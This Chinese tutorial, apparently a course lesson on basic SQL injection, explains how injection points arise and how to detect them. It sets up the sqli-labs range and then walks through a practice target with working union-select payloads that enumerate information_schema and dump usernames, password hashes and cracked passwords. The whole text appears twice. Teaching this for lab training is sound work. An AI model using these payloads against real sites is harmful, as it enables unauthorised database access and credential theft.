十二.WEB漏洞-SQL注入之简易SQL注入
2022年 04月 05 日

BIGFISH

前言

在本系列课程学习中,SQL 注入漏洞将是重点部分,其中 SQL 注入
又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需
要按部就班的学习,才能学会相关 SQL 注入的核心。同样此类漏洞是
WEB 安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要
的。

请添加图片描述

 

本节涉及以下红圈内容

image-20210807205616034

SQL注入安全测试中危害

  • 危害数据库里的数据
  • 直接危害到网站的权限(需要满足条件)

SQL注入产生原理详细分析

  • 原理:通过参数传递将恶意SQL语句传到SQL语句,实现自定义的攻击方式
  • 产生的条件:变量可控、能带入数据库查询、变量未存在过滤和过滤不严谨
  • 小知识点

1 www.xiaodi8.com/index.php?id=8
2 www.xiaodi8.com/?id=10
3 www.xiaodi8.com/?id=10&x=1
4 www.xiaodi8.com/index.php

以上可能存在注入的编号选项1 2 3 4都有可能存在
2 相当于1,只是将index.php被省略了
3 就多加了一个参数
4 有post注入
参数x有注入,以下那个注入测试是正确的?
A www.xiaodi8.com/news.php?y=1 and 1=1&x=2
B www.xiaodi8.com/news.php?y=1&x=2 and 1=1
C www.xiaodi8.com/news.php?y=1 and 1=1 &x=2 and 1=1
D www.xiaodi8.com/news.php?xx=1 and 1=1 &xxx=2 and 1=1
正确答案是 BC
A 错误的原因是注入点是x,却把注入的代码写在了y的后面
D 错误的原因是注入点是x,却没有出现x这个变量

!注意:我们在进行SQL注入的过程中应该明确注入点是哪个变量,在其后面加上我们需要注入的SQL语句,在使用工具的时候可能会默认在后面加上注入的SQL语句,这时候我们应该进行修改,使得能够成功在注入点后面加上代码,从而使注入能够成功。

搭建一个SQL注入学习靶场环境

  • 在这里,我们安装sqlilabs这个靶场(链接:https://github.com/Audi-1/sqli-labs)
  • 安装说明:
    1. 解压apache文件夹内的内容,例如/var/www
    2. 这将在其下创建一个文件夹sqlilabs,将下载的源码放在里面
    3. 打开 sql-labs 文件夹内 sql-connections 文件夹下的文件“db-creds.inc”。
    4. 更新您的 MYSQL 数据库用户名和密码。
    5. 从浏览器访问 sql-labs 文件夹以加载 index.html(http://127.0.0.1/sqlilabs/index.html)
    6. 单击链接 setup/resetDB 以创建数据库、创建表和填充数据。
    7. 准备使用的实验室,点击课程编号打开课程页面。
    8. 享受实验室

数据库mysql简单的格式

MYSQL数据库
——数据库A = 网站A = 数据库用户A
————表名
————————列名
————————————数据

数据库B=网站B=数据库用户B

数据库C=网站C=数据库用户C

如何判断注入点?

  • 老办法:
    and 1=1 页面正常
    and 1=2 页面错误
    可能存在注入点
  • 案例:
    SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 错误
  • 依据:SELECT * FROM users WHERE id=1 真
    1=1 真
    1=2 假真且真=真 SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常
    真且假=假 SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 错误
  • 能不能用or判断?SELECT * FROM users WHERE id=1 or 1=1 LIMIT 0,1 正常
    SELECT * FROM users WHERE id=1 or 1=2 LIMIT 0,1 正常不能!
  • 原因是什么?
    前面的语句为真的时候,不能判断第两个语句为真还是假
  • 要选用最舒服的方法测试是否存在注入点


    SELECT * FROM users WHERE id=1dadad(随便输入) LIMIT 0,1
    在可能存在注入的变量后随便输入值后,存在三种情况:
    • 对网页有影响,说明带入数据库进行查询有注入点
    • 对网页没有影响,说明没有带入数据库查询,说明对应的参数没有漏洞
    • 网站出现404错误/自动跳转到其他页面,这个时候说明网站对输入的东西有检测,出现这种情况,基本不存在SQL注入漏洞

必要知识点(SQL注入)

1.在MYSQL5.0以上版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。
2.数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。

information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名

 

演示

1.启动靶场

2.对页面进行sql注入检测(and 1=1)

3.猜解列名数量(字段数)

order by x(数字) 正常与错误的正常值

正确的话网页正常显示,错误的话网页报错
http://219.153.49.228:49521/new_list.php?id=1 order by 4
测试后可以发现order by 4的时候网页正常,5后面的数字网页开始报错

4.报错猜解准备

?id=1 union select 1,2,3,4

(报错可以将id=1改为-1,或加and 1=2,只要报错即可)

报错后发现 2,3可以显示,接下来对2.3进行数据查询。

5.信息收集

数据库版本:version() 5.7.22-0ubuntu0.16.04.1
数据库名字:database() mozhe_Discuz_StormGroup
数据库用户:user() root@localhost
操作系统:@@version_compile_os Linux

?id=-1 union select 1,version(),database(),4

6.查询指定数据库中所有表名

information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名

mozhe_Discuz_StormGroup下的表名信息:(StormGroup_member,notice)

?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="mozhe_Discuz_StormGroup"

7.查询指定数据表中所有列名

information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名

?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="StormGroup_member"

8.查询指定数据

(1)查询数据

?id=-1 union select 1,name,password,4 fromStormGroup_member(只能查到一个数据)

(2)猜解多个数据(通过limit x,1 变动猜解,或group——concat())

?id=-1 union select 1,group_concat(name),group_concat(password),4 fromStormGroup_member(可以查到多个数据)

?id=-1 union select 1,name,password,4 from StormGroup_member limit 0,1

?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1

9.获取到账号密码然后解密

55cdeda98baa555b6c008fab50f63660————804821

356f589a7df439f6f744ff19bb8092c0————dsan13

10.然后逐个测试进如后台

获得key;mozhebe687f0d564bcec5d4f7b5b1e06

 

 

 

十二.WEB漏洞-SQL注入之简易SQL注入

前言

在本系列课程学习中,SQL 注入漏洞将是重点部分,其中 SQL 注入
又非常复杂,区分各种数据库类型,提交方法,数据类型等注入,我们需
要按部就班的学习,才能学会相关 SQL 注入的核心。同样此类漏洞是
WEB 安全中严重的安全漏洞,学习如何利用,挖掘,修复也是很重要
的。

请添加图片描述

 

本节涉及以下红圈内容

image-20210807205616034

SQL注入安全测试中危害

  • 危害数据库里的数据
  • 直接危害到网站的权限(需要满足条件)

SQL注入产生原理详细分析

  • 原理:通过参数传递将恶意SQL语句传到SQL语句,实现自定义的攻击方式
  • 产生的条件:变量可控、能带入数据库查询、变量未存在过滤和过滤不严谨
  • 小知识点

1 www.xiaodi8.com/index.php?id=8
2 www.xiaodi8.com/?id=10
3 www.xiaodi8.com/?id=10&x=1
4 www.xiaodi8.com/index.php

以上可能存在注入的编号选项1 2 3 4都有可能存在
2 相当于1,只是将index.php被省略了
3 就多加了一个参数
4 有post注入
参数x有注入,以下那个注入测试是正确的?
A www.xiaodi8.com/news.php?y=1 and 1=1&x=2
B www.xiaodi8.com/news.php?y=1&x=2 and 1=1
C www.xiaodi8.com/news.php?y=1 and 1=1 &x=2 and 1=1
D www.xiaodi8.com/news.php?xx=1 and 1=1 &xxx=2 and 1=1
正确答案是 BC
A 错误的原因是注入点是x,却把注入的代码写在了y的后面
D 错误的原因是注入点是x,却没有出现x这个变量

!注意:我们在进行SQL注入的过程中应该明确注入点是哪个变量,在其后面加上我们需要注入的SQL语句,在使用工具的时候可能会默认在后面加上注入的SQL语句,这时候我们应该进行修改,使得能够成功在注入点后面加上代码,从而使注入能够成功。

搭建一个SQL注入学习靶场环境

  • 在这里,我们安装sqlilabs这个靶场(链接:https://github.com/Audi-1/sqli-labs)
  • 安装说明:
    1. 解压apache文件夹内的内容,例如/var/www
    2. 这将在其下创建一个文件夹sqlilabs,将下载的源码放在里面
    3. 打开 sql-labs 文件夹内 sql-connections 文件夹下的文件“db-creds.inc”。
    4. 更新您的 MYSQL 数据库用户名和密码。
    5. 从浏览器访问 sql-labs 文件夹以加载 index.html(http://127.0.0.1/sqlilabs/index.html)
    6. 单击链接 setup/resetDB 以创建数据库、创建表和填充数据。
    7. 准备使用的实验室,点击课程编号打开课程页面。
    8. 享受实验室

数据库mysql简单的格式

MYSQL数据库
——数据库A = 网站A = 数据库用户A
————表名
————————列名
————————————数据

数据库B=网站B=数据库用户B

数据库C=网站C=数据库用户C

如何判断注入点?

  • 老办法:
    and 1=1 页面正常
    and 1=2 页面错误
    可能存在注入点
  • 案例:
    SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 错误
  • 依据:SELECT * FROM users WHERE id=1 真
    1=1 真
    1=2 假真且真=真 SELECT * FROM users WHERE id=1 and 1=1 LIMIT 0,1 正常
    真且假=假 SELECT * FROM users WHERE id=1 and 1=2 LIMIT 0,1 错误
  • 能不能用or判断?SELECT * FROM users WHERE id=1 or 1=1 LIMIT 0,1 正常
    SELECT * FROM users WHERE id=1 or 1=2 LIMIT 0,1 正常不能!
  • 原因是什么?
    前面的语句为真的时候,不能判断第两个语句为真还是假
  • 要选用最舒服的方法测试是否存在注入点


    SELECT * FROM users WHERE id=1dadad(随便输入) LIMIT 0,1
    在可能存在注入的变量后随便输入值后,存在三种情况:
    • 对网页有影响,说明带入数据库进行查询有注入点
    • 对网页没有影响,说明没有带入数据库查询,说明对应的参数没有漏洞
    • 网站出现404错误/自动跳转到其他页面,这个时候说明网站对输入的东西有检测,出现这种情况,基本不存在SQL注入漏洞

必要知识点(SQL注入)

1.在MYSQL5.0以上版本中,MYSQL存在一个自带数据库名为information_schema,它是一个存储记录有所有数据库名,表名,列名的数据库,也相当于可以通过查询它获取指定数据库下面的表名或者列名信息。
2.数据库中符号"."代表下一级,如xiaodi.user表示xiaodi数据库下的user表名。

information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名

 

演示

1.启动靶场

2.对页面进行sql注入检测(and 1=1)

3.猜解列名数量(字段数)

order by x(数字) 正常与错误的正常值

正确的话网页正常显示,错误的话网页报错
http://219.153.49.228:49521/new_list.php?id=1 order by 4
测试后可以发现order by 4的时候网页正常,5后面的数字网页开始报错

4.报错猜解准备

?id=1 union select 1,2,3,4

(报错可以将id=1改为-1,或加and 1=2,只要报错即可)

报错后发现 2,3可以显示,接下来对2.3进行数据查询。

5.信息收集

数据库版本:version() 5.7.22-0ubuntu0.16.04.1
数据库名字:database() mozhe_Discuz_StormGroup
数据库用户:user() root@localhost
操作系统:@@version_compile_os Linux

?id=-1 union select 1,version(),database(),4

6.查询指定数据库中所有表名

information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名

mozhe_Discuz_StormGroup下的表名信息:(StormGroup_member,notice)

?id=-1 union select 1,group_concat(table_name),3,4 from information_schema.tables where table_schema="mozhe_Discuz_StormGroup"

7.查询指定数据表中所有列名

information_schema.tables:记录所有表名信息的表
information_schema.columns:记录所有列名信息的表
table_name:表名
column_name:列名
table_schema:数据库名

?id=-1 union select 1,group_concat(column_name),3,4 from information_schema.columns where table_name="StormGroup_member"

8.查询指定数据

(1)查询数据

?id=-1 union select 1,name,password,4 fromStormGroup_member(只能查到一个数据)

(2)猜解多个数据(通过limit x,1 变动猜解,或group——concat())

?id=-1 union select 1,group_concat(name),group_concat(password),4 fromStormGroup_member(可以查到多个数据)

?id=-1 union select 1,name,password,4 from StormGroup_member limit 0,1

?id=-1 union select 1,name,password,4 from StormGroup_member limit 1,1

9.获取到账号密码然后解密

55cdeda98baa555b6c008fab50f63660————804821

356f589a7df439f6f744ff19bb8092c0————dsan13

10.然后逐个测试进如后台

获得key;mozhebe687f0d564bcec5d4f7b5b1e06

 

 

 

赞 (0)

猜您想看

评论区(暂无评论)

这里空空如也,快来评论吧~

我要评论